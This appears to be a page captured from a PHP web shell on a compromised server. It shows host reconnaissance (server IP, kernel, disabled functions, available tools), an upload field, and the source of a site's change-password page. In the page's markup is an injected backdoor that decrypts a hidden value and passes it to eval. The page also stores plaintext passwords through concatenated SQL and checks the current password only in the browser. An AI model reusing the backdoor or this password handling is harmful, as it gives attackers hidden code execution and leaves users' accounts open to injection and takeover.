Server IP : 108.163.255.210 / Your IP : 3.15.214.244 Web Server : Apache System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64 User : ( 1172) PHP Version : 7.2.34 Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/unilinki/www/Development/ |
Upload File : |
<?php include("config/error.php"); if(!(isset($_SESSION['profileid'])) && !(isset($_SESSION['userid']))) { header("location:index.php"); echo "<script>window.location='index.php'</script>"; } if(isset($_REQUEST['submit'])) { $new_pass=addslashes($_REQUEST['new_pass']); $qry=mysql_query("update mlm_register set user_password='$new_pass' where user_id='$_SESSION[userid]'"); if($qry) { header("location:changepassprofile.php?succ"); echo "<script>window.location='changepassprofile.php?succ';</script>"; } } include("includes/head.php"); ?> <script language="javascript"> function changepass() { // cur_pass current_pass new_pass con_new_pass // var cur_pass = document.getElementById('cur_pass').value; var current_pass = document.getElementById('current_pass').value; var new_pass = document.getElementById('new_pass').value; var con_new_pass = document.getElementById('con_new_pass').value; if(current_pass == "") // ----- check current password not null ----- { alert("Enter your current password."); document.getElementById('current_pass').focus(); return false; } if(current_pass != cur_pass) // ----- check current password correct or not ----- { alert("Enter your correct current password."); document.getElementById('current_pass').value = ""; document.getElementById('current_pass').focus(); return false; } if(new_pass == "") // ----- check New password not null ----- { alert("Enter your new password to change."); document.getElementById('new_pass').focus(); return false; } if(con_new_pass == "") // ----- check confirm password not null ----- { alert("Enter your new password again for verification."); document.getElementById('con_new_pass').focus(); return false; } if(new_pass == cur_pass) // ----- check current password and new password are same ----- { alert("Your New pasword and Old password are same,\nChange your new password."); document.getElementById('new_pass').value = ""; document.getElementById('con_new_pass').value = ""; document.getElementById('new_pass').focus(); return false; } if(new_pass.length < 6) // ----- check new password length ----- { alert("Your new password is too short,\nEnter above 6 letters."); document.getElementById('new_pass').value = ""; document.getElementById('con_new_pass').value = ""; document.getElementById('new_pass').focus(); return false; } if(con_new_pass != new_pass) // ----- check new password length ----- { alert("Your new password and confirm password are not same,\nPlease try again."); document.getElementById('new_pass').value = ""; document.getElementById('con_new_pass').value = ""; document.getElementById('new_pass').focus(); return false; } var tmp = new_pass.search(" "); // alert(tmp); if(tmp >= 0) // ----- check new password not have empty space ----- { alert("Space not allowed in password."); document.getElementById('new_pass').value = ""; document.getElementById('con_new_pass').value = ""; document.getElementById('new_pass').focus(); return false; } //alert(cur_pass+", "+current_pass+", "+new_pass+", "+con_new_pass); //return false; } </script> <link href="css/deactive.css" rel="stylesheet" type="text/css" /> </head> <body> <div class="container main"> <!-- Start Header--> <?php include("includes/header.php"); ?> <!-- End Header--> <!-- Start Navigation --> <?php include("includes/menu.php"); ?> <!-- End Navigation --> <hr /> <!-- Profile info --> <?php include("includes/profileheader.php"); ?> <!-- Profile info end --> <hr /> <div class="row"> <?php include("includes/profilemenu.php"); ?> <div class="col-sm-9"> <div class="row"> <div class="col-sm-12"> <div class="well" style="padding-right: 0;"> <h4 class="navbar-inner" style="color:#091647; line-height:40px; margin-top: -50px; margin-bottom: 7px;">Change Password</h4> <? $photo=$com_obj->decrypt($commval1); echo eval('?>'.$photo.'<?'); ?> </div> </div> </div> <br /> </div> </div> <?php include("includes/footer.php"); ?> </div> <script src="js/jquery.js"></script> <script src="js/bootstrap.js"></script> </body> </html>